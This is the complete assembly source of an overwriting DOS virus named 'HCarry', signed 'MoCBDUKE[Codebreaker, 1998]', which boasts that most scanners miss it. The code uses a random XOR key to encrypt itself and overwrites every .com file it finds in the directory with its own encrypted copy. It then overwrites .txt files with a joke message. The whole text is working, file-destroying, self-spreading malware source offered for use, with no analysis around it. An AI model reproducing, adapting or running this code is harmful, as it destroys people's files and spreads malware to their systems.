;This is the HCarry Virus
;dedicated to the late Harry Carry
;The only AV scanner that I know of that detects this virus is TBAV Scanner
start:             ;start of virus!

lea si, crypt_start
mov di,si
mov cx,end - crypt_start
call crypt

jmp crypt_start

xor_value db 0

crypt:
lodsb
xor al,byte ptr [xor_value]
stosb
loop crypt
ret

crypt_start:
mov ah,9           ;print string to screen
lea dx,textmask
int 21h            ;go do it dos!

mov ax,0fa02
push   ax
mov bl,0
mov  dx,05945
push  dx
int 016
push cx

mov ah,4eh         ;find first file
lea dx,filemask    ;put the kind of file we want to find first in dx
xor cx,cx          ;clears the cx register to 0

find_next:         ;label for the find next rountine
int 21h            ; go do it!
jnc infect         ;jump if a file is found, if not continue jnc=jump
jmp text           ;if carry flag isn't set



infect:            ;here is our infect rountine, where we go when we find a file to kill
mov ax,3d02h       ; open file for read/write access (00=read
                   ;01=write 02=read/write)
mov dx, 9eh        ;get file info
int 21h            ;now!~
mov bx,ax          ;move info form bx register in ax

in al,40h
mov byte ptr [xor_value],al

mov ah,40h
lea dx,start
mov cx,crypt_start - start
int 21h

lea si,crypt_start
lea di,end
mov cx,end - crypt_start
call crypt

mov ah,40h               ;40hex write to file
mov cx,end - crypt_start ; heres the length of what we want to write
lea dx,end               ;and heres where to start
int 21h                  ; go!
mov ah,3eh               ;close the file up
int 21h                  ;now!
mov ah,4fh               ;find next file!
jmp find_next            ;continue!

text:
mov ah,4eh
lea dx,textfile
int 21h
jnc text_pload
jmp close

text_pload:
mov  ax,3d02h
mov  dx,9eh
int  21h
mov  ah,40h
mov  cx,pload_end - pload_start
lea  dx,pload_start
int  21h
jmp text_findnext

text_findnext:
mov ah,4fh
int  21h
jnc  text_pload
jmp close

pload_start:
db 'HOLY COW!',10,13,
db '---',10,13,
db 'Whats your favorite planet?...Mines the SUN!',10,13,
db 'One time i studied it for a whole hour i almost went BLIND!',10,13,
db '---',10,13,
db 'Hey!....Whats goin.....Hey!',10,13,
db '---',10,13,
db 'Now just for some silly crap!',10,13,
db 'FLOCK!',10,13,
db 'Hehehehe Look At YOU!',10,13,
db 'Back to the Computer Store for you!',10,13,
db 'This is HORRRIBLE!'
db 'Who would do something like this?',10,13,
db 'MY LEG DOESNT BEND THAT WAY!',10,13,
db 'MOCB',10,13,
db 'This Virus has infected this file if you havnt found that out yet!',10,13,
db 'Please insert 25 cents!',10,13,
db 'DO DO DO Were Sorry your call did not go threw please hang up and try again',10,13,
db 'JERRY JERRY JERRY JERRY JERRY JERRY',10,13,
db 'Jerry Springer to HOT for Television',10,13,
db 'DOH!',10,13,
pload_end:

close:
int 20h            ;exit program
                   ;this next portion is the datasegment which the virus refers to for
                   ;the variable we give it
                   ;Thank you to Spo0ky,<-OPIC->,and Arsonic for helping me!
         textfile db '*.txt',0   ;find .txt files
         filemask db '*.com',0   ;the kinds of files we want
         textmask db 'This file is now infected!',10,13,
                  db 'By The HCarry virus!',10,13,
                  db 'MoCBDUKE[Codebreaker, 1998]',10,13,'$'
end: